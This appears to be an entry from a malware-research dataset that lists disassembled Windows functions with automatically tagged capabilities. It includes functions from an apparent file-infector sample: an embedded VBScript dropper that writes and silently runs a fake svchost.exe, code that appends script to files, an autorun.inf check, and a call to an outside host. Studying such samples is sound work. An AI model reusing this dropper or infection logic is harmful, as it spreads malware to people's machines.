joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100069dd
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x10006a89
mov dword [ebp - 4], eax
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
cmp eax, 9
jbe 0x10006a81
sub eax, 9
push 0
push 0
push eax
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 8]
push eax
push 9
lea eax, [ebp - 0x12]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
lea esi, [ebp - 0x12]
add esi, dword [ebp - 8]
mov al, 0
mov byte [esi], al
push str.__SCRIPT_
lea eax, [ebp - 0x12]
push eax
call sub.kernel32.dll_lstrcmpiA
or eax, eax
je 0x10006a81
push 2
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
leave
ret 0xc

Function at 0x10006ad1
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push esi
push 0
pop dword [ebp - 0x40c]
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x400]
push eax
call fcn.100061ad
push str.autorun.inf
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcatA
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x10006ba4
mov dword [ebp - 0x410], eax
push 0
push dword [ebp - 0x410]
call sub.kernel32.dll_GetFileSize
cmp eax, 3
jbe 0x10006b99
push 0
lea eax, [ebp - 0x408]
push eax
push 3
lea eax, [ebp - 0x404]
push eax
push dword [ebp - 0x410]
call sub.kernel32.dll_ReadFile
lea esi, [ebp - 0x404]
add esi, dword [ebp - 0x408]
mov al, 0
mov byte [esi], al
push 0x1000a772
lea eax, [ebp - 0x404]
push eax
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x10006b99
push 1
pop dword [ebp - 0x40c]
push dword [ebp - 0x410]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x40c]
pop esi
leave
ret 4
Function at 0x1000749f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push str.disable
push str.SoftwareWASAntidot
push dword [0x1000a552]
call fcn.10001f1b
or eax, eax
jne 0x1000760f
call sub.kernel32.dll_GetTickCount
push eax
call fcn.10007ffa
push 0
pop dword [0x1000a54e]
push str.Imagehlp.dll
call sub.kernel32.dll_LoadLibraryA
mov dword [0x1000a537], eax
cmp dword [0x1000a537], 0
je 0x10007502
push 0x1000a53b
push dword [0x1000a537]
call sub.kernel32.dll_GetProcAddress
mov dword [0x1000a54e], eax
push dword [ebp + 8]
push 0x1000a4f4
call fcn.10002457
push dword [ebp + 8]
push 0x1000a4f8
call fcn.10002457
push 0x1000a4f8
call fcn.1000232b
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], eax
or eax, eax
je 0x100075bc
shl eax, 1
add eax, 0x4b
mov edx, eax
push 0x4b
push str._SCRIPT_LanguageVBScript______r_nDropFileName___svchost.exe__r_nWriteData_____r_nSet_FSO__CreateObject__Scripting.FileSystemObject___r_nDropPath__FSO.GetSpecialFolder_2_______DropFileName_r_nIf_FSO.FileExists_DropPath_False_Then_r_nSet_FileObj__FSO.CreateTextFile_DropPath__True__r_nFor_i__1_To_Len_WriteData__Step_2_r_nFileObj.Write_Chr_CLng__H___Mid_WriteData_i_2____r_nNext_r_nFileObj.Close_r_nEnd_If_r_nSet_WSHshell__CreateObject__WScript.Shell___r_nWSHshell.Run_DropPath__0_r_n_______SCRIPT_RmN
push 0x1000a4fc
call fcn.1000224b
push edx
push 0x1000a4fc
call fcn.1000236b
or eax, eax
je 0x10007582
push 0x1000a4fc
call fcn.1000232b
or edx, edx
je 0x10007582
mov esi, edx
add esi, 0x4b
push esi
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.100065fc
push 0x197
push 0x1000a5db
push 0x1000a4fc
call fcn.1000224b
push dword [0x10007260]
push 0x10007264
call fcn.10006648
push dword [0x10007260]
push 0x10007264
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.10001d70
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x10006ea8
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebp - 8], eax
push 0xffffffffffffffff
push dword [ebp - 8]
call sub.kernel32.dll_SetThreadPriority
push dword [ebp - 8]
call sub.kernel32.dll_CloseHandle
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x10006ec2
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x10007622
push 0x40
push str.Antidot_is_activate
push str.Antidot_is_activate
push 0
call sub.user32.dll_MessageBoxA
leave
ret 4

Function at 0x10007855
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0x1000b464
push 0x1000b4e4
push dword [0x1000a008]
push str.fget_career.com
call fcn.1000392d
cmp eax, 0xffffffff
je 0x100078c3
mov dword [ebp - 4], eax
push dword [0x1000a4be]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.10003bf1
cmp eax, 1
jne 0x100078ba
push 0
pop dword [ebp - 8]
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp - 4]
push 0x1000783d
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x100078c3
lea eax, [ebp - 4]
push eax
call fcn.10004136
leave
ret 8
Function at 0x100078e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 8]
push 0x100078c7
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
leave
ret 4

Function at 0x10007c79
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
cmp dword [ebp + 0xc], 1
jne 0x10007d8b
push 0x1000a1fd
push 0
push str.KyUffThOkYwRRtgPP
call fcn.10001d2a
cmp eax, 1
jne 0x10007d84
push dword [ebp + 0x10]
pop dword [ebp - 8]
call fcn.10007b0a
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp - 8]
push 0x10007aca
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x10007626
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000781f
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
cmp dword [section..data], 1
jne 0x10007d3c
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x10005906
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push 0
pop dword [ebp - 4]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1000790c
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle
push dword [ebp - 8]
call fcn.1000749f
cmp dword [ebp - 8], 0
je 0x10007d84
push dword [ebp - 8]
call fcn.100029ce
cmp eax, 0xffffffff
jne 0x10007d84
push 0x3e8
call sub.kernel32.dll_Sleep
jmp 0x10007d6b
mov eax, 1
jmp 0x10007da6
cmp dword [ebp + 0xc], 0
jne 0x10007d98
call fcn.10007c69
jmp 0x10007da6
cmp dword [ebp + 0xc], 2
jne 0x10007da0
jmp 0x10007da6
cmp dword [ebp + 0xc], 3
jne 0x10007da6
leave
ret 0xc
Function at 0x40199a
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
mov eax, esi
xor edx, edx
push edi
div dword [ebx + 8]
mov eax, dword [ebp + 0xc]
mov edi, edx
add eax, edi
sub esi, edi
push eax
push esi
push 0
push 6
push dword [ebx + 4]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
lea ecx, [ebx + 0x18]
lea eax, [ebp - 4]
add edi, esi
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 4], edi
push eax
call fcn.00401e9d
mov ecx, dword [eax]
mov eax, edi
pop edi
mov dword [ecx + 0x14], esi
pop esi
pop ebx
leave
ret 8

Function at 0x402506
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40255c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40255c
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x40254e
cmp esi, ecx
jae 0x40255c
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x40253c
cmp esi, ecx
jae 0x40255c
cmp word [esi], 0
je 0x40255c
mov eax, esi
jmp 0x40255e
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x402cc1
Capabilities:
Read .ini file

Disassembly:
push 0x814
mov eax, 0x4121b9
call fcn.00411ecd
mov ebx, edx
mov eax, ecx
mov dword [ebp - 0x814], eax
mov dword [ebp - 0x81c], eax
mov edi, dword [ebp + 8]
xor ecx, ecx
mov esi, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x810]
push 0x800
push ecx
push eax
mov dword [ebp - 0x818], ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x810]
push ebx
push 0x400
push eax
push 0x414c10
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov esi, dword [ebp - 0x814]
lea eax, [ebp - 0x810]
push eax
mov ecx, esi
call fcn.004038c4
and dword [ebp - 4], 0
mov ecx, esi
push 0x414d74
push 0x414d78
mov dword [ebp - 0x818], 1
call fcn.00403580
mov eax, esi
call fcn.00411e7c
ret
Function at 0x402ea9
Capabilities:
Create directory
Get file attributes

Disassembly:
push 8
mov eax, 0x41228e
call fcn.00411e9a
and dword [ebp - 4], 0
call fcn.004015a8
push eax
lea ecx, [ebp - 0x10]
call fcn.00401b44
xor ebx, ebx
lea ecx, [ebp + 8]
push 0
inc ebx
push 0x3a
mov byte [ebp - 4], bl
call fcn.0040354b
mov edi, eax
test edi, edi
js 0x402ee2
add edi, 2
push edi
push 0x5c
lea ecx, [ebp + 8]
call fcn.0040354b
mov edi, eax
test edi, edi
jns 0x402f01
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
call fcn.00403827
jmp 0x402f29
push edi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp + 8]
call fcn.0040344f
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00403827
mov byte [ebp - 4], bl
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00401582
mov esi, dword [ebp - 0x10]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x402f46
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402f59
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
je 0x402f59
cmp edi, 0xffffffff
je 0x402f5b
inc edi
jmp 0x402ee2
xor ebx, ebx
lea ecx, [esi - 0x10]
call fcn.00401582
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401582
mov eax, ebx
call fcn.00411e68
ret
Function at 0x403023
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
push ebx
push esi
push edi
call fcn.004027d1
mov esi, eax
test esi, esi
je 0x4031ed
push str.PdhOpenQueryW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.PdhAddCounterW
push esi
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.PdhCollectQueryData
push esi
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.PdhGetFormattedCounterValue
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.PdhRemoveCounter
push esi
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.PdhCloseQuery
push esi
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov eax, dword [esp + 0x18]
test eax, eax
je 0x4031ed
mov esi, dword [esp + 0x20]
test esi, esi
je 0x4031ed
test edi, edi
je 0x4031ed
cmp dword [esp + 0x14], 0
je 0x4031ed
cmp dword [esp + 0x1c], 0
je 0x4031ed
test ebx, ebx
je 0x4031ed
movsd xmm0, qword [0x416b70]
lea ecx, [esp + 0xc]
xor edx, edx
movsd qword [esp + 0x28], xmm0
push ecx
push edx
push edx
mov ecx, eax
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
call dword [0x414370]
mov eax, dword [esp + 0x24]
call eax
test eax, eax
jne 0x4031b7
lea eax, [esp + 0x10]
mov ecx, esi
push eax
push 0
push str.Processor__Total___Processor_Time
push dword [esp + 0x18]
call dword [0x414370]
call esi
test eax, eax
jne 0x4031b7
push dword [esp + 0xc]
mov ecx, edi
call dword [0x414370]
call edi
test eax, eax
jne 0x4031b7
xorps xmm0, xmm0
xor esi, esi
movsd qword [esp + 0x20], xmm0
push dword [esp + 0xc]
mov ecx, edi
call dword [0x414370]
call edi
test eax, eax
jne 0x4031b7
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x30]
push eax
push 0
push 0x8200
push dword [esp + 0x1c]
call dword [0x414370]
call dword [esp + 0x24]
test eax, eax
jne 0x4031b7
movsd xmm0, qword [esp + 0x38]
addsd xmm0, qword [esp + 0x20]
push 0x1f4
movsd qword [esp + 0x24], xmm0
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x40314c
movsd xmm0, qword [esp + 0x20]
divsd xmm0, qword [0x416b68]
movsd qword [esp + 0x28], xmm0
cmp dword [esp + 0x10], 0
je 0x4031d0
push dword [esp + 0x10]
mov esi, dword [esp + 0x20]
mov ecx, esi
call dword [0x414370]
call esi
cmp dword [esp + 0xc], 0
je 0x4031e5
push dword [esp + 0xc]
mov ecx, ebx
call dword [0x414370]
call ebx
movsd xmm0, qword [esp + 0x28]
jmp 0x4031f0
xorps xmm0, xmm0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40544e
Capabilities:
Get process image filename

Disassembly:
push 0x21c
mov eax, 0x4127cb
call fcn.00411ecd
mov esi, edx
mov edi, ecx
mov dword [ebp - 0x220], edi
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x228], edi
mov dword [ebp - 0x224], ebx
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.00401bbc
add eax, 0x10
mov dword [edi], eax
push esi
push ebx
mov dword [ebp - 4], ebx
push 0x410
mov dword [ebp - 0x224], 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x405563
push 0x104
lea eax, [ebp - 0x218]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameW]
test eax, eax
je 0x40555c
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x21c]
call fcn.004038c4
mov dword [ebp - 4], 1
push 0x5c
push dword [ebp - 0x21c]
call dword [sym.imp.VCRUNTIME140.dll_wcsrchr]
pop ecx
pop ecx
mov ecx, eax
mov eax, dword [ebp - 0x21c]
test ecx, ecx
je 0x405551
sub ecx, eax
sar ecx, 1
cmp ecx, 0xffffffff
je 0x405551
mov eax, dword [eax - 0xc]
inc ecx
sub eax, ecx
push eax
push ecx
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x21c]
call fcn.00403494
mov dword [ebp - 0x224], 3
lea eax, [ebp - 0x220]
mov byte [ebp - 4], 2
push eax
mov ecx, edi
call fcn.00403827
mov ecx, dword [ebp - 0x220]
lea ecx, [ecx - 0x10]
call fcn.00401582
mov eax, dword [ebp - 0x21c]
lea ecx, [eax - 0x10]
mov byte [ebp - 4], bl
call fcn.00401582
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
call fcn.00411e7c
ret
Function at 0x406df3
Capabilities:
Get file size

Disassembly:
push 0x1c
mov eax, 0x412a7e
call fcn.00411e9a
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
call fcn.004015a8
push eax
lea ecx, [ebp - 0x18]
call fcn.00401b44
mov eax, dword [ebp + 8]
and dword [ebp - 4], 0
mov esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x20]
mov ecx, dword [eax + 0x78]
mov eax, dword [ecx]
mov dword [ebp - 0x14], eax
cmp eax, ecx
je 0x406ea2
push 0
lea ecx, [eax + 0x18]
call fcn.00401a9c
push eax
lea ecx, [ebp - 0x10]
call fcn.004038c4
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov byte [ebp - 4], 1
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x406e80
lea eax, [ebp - 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push ebx
test eax, eax
je 0x406e7a
add edi, dword [ebp - 0x28]
adc esi, dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401582
lea ecx, [ebp - 0x14]
call fcn.00401b7d
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ecx + 0x78]
jne 0x406e2e
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.00401582
mov eax, edi
mov edx, esi
call fcn.00411e68
ret 4

Function at 0x408490
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, dword [ebp + 0xc]
push ebx
mov ebx, ecx
test edx, edx
jne 0x4084a4
push 0xd
pop eax
jmp 0x4084e8
push esi
xor eax, eax
push edi
mov dword [ebp - 4], eax
mov esi, eax
mov edi, edx
mov ecx, edi
lea eax, [ecx + 2]
mov dword [ebp - 8], eax
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 4]
jne 0x4084b7
sub ecx, dword [ebp - 8]
sar ecx, 1
inc ecx
lea edi, [edi + ecx*2]
lea esi, [esi + ecx*2]
cmp ecx, 1
jne 0x4084af
push esi
push edx
push 7
xor eax, eax
push eax
push dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4088ef
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x412da7
call fcn.00411f39
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x418], esi
push 0x60
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x40896c
push 2
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x40896c
call fcn.00408148
mov esi, eax
jmp 0x408a72
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x40898f
call fcn.00408148
jmp 0x408a65
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x408985
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
lea eax, [ebx + 1]
cmp eax, ebx
jae 0x4089c2
mov esi, 0x8007000e
jmp 0x408a67
push 2
pop ecx
mul ecx
mov byte [ebp - 4], cl
cmp edx, esi
ja 0x408a95
jb 0x4089dd
cmp eax, 0xffffffff
ja 0x408a95
cmp eax, 0x400
jbe 0x4089f2
push eax
lea ecx, [ebp - 0x418]
call fcn.0040a61a
jmp 0x408a14
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
jmp 0x408a14
mov dword [ebp - 4], 1
cmp dword [ebp - 0x418], 0
je 0x4089b8
push ebx
push dword [ebp - 0x418]
push ebx
push dword [ebp - 0x41c]
push esi
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x408985
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.00409558
mov esi, eax
test edi, edi
je 0x408a72
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x408a8b
lea ecx, [ebp - 0x418]
call fcn.0040a610
mov eax, esi
call fcn.00411e8b
ret 0x10
push 0x80070216
call fcn.004013a6
int3
Function at 0x40a2e8
Capabilities:
Accept command line arguments

Disassembly:
push 0xc
mov eax, 0x412ec9
call fcn.00411e9a
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [ebp - 0x10]
xor ebx, ebx
push ecx
push eax
mov dword [ebp - 0x10], ebx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 0x10], 2
mov esi, eax
je 0x40a31a
xor eax, eax
inc eax
jmp 0x40a411
mov eax, dword [esi + 4]
mov ecx, str._terminate
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40a348
test dx, dx
je 0x40a344
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40a348
add eax, 4
add ecx, 4
test dx, dx
jne 0x40a322
mov eax, ebx
jmp 0x40a34d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40a35b
call fcn.0040dc24
jmp 0x40a411
push dword [esi + 4]
lea ecx, [ebp - 0x14]
call fcn.004038c4
mov dword [ebp - 4], ebx
mov edi, dword [0x41b51c]
test edi, edi
jne 0x40a397
push 0x1b0
call fcn.00410e7c
pop ecx
mov dword [ebp - 0x18], eax
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.0040a7d5
mov edi, eax
mov byte [ebp - 4], bl
mov dword [0x41b51c], edi
push ebx
lea ecx, [ebp - 0x14]
call fcn.00401a9c
push eax
mov ecx, edi
call fcn.0040ab02
test eax, eax
jne 0x40a3b2
test edi, edi
je 0x40a404
jmp 0x40a3f2
mov ecx, edi
cmp dword [edi + 0x5c], ebx
je 0x40a3bd
push 0x10
jmp 0x40a3e0
call fcn.0040ae65
cmp dword [edi + 0x48], ebx
je 0x40a3e5
push ecx
mov ecx, esp
push 0x414c10
call fcn.004038c4
push ecx
mov ecx, edi
call fcn.0040ae2c
push 0xe
mov ecx, edi
call fcn.0040ac92
mov ecx, edi
call fcn.0040ae65
mov ebx, dword [edi + 0x138]
mov eax, dword [edi]
push 1
mov esi, dword [eax]
mov ecx, esi
call dword [0x414370]
mov ecx, edi
call esi
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401582
mov eax, ebx
call fcn.00411e68
ret

Function at 0x40a417
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x41b00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x18]
xor esi, esi
push eax
push 0x28
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40a47e
push edi
lea eax, [ebp - 0x10]
xor edi, edi
push eax
push str.SeDebugPrivilege
inc edi
push esi
mov dword [ebp - 0x14], edi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x40a47d
push esi
push esi
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 8], 2
push eax
push esi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
cmovne esi, edi
pop edi
cmp dword [ebp - 0x18], 0
je 0x40a48d
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00410c70
leave
ret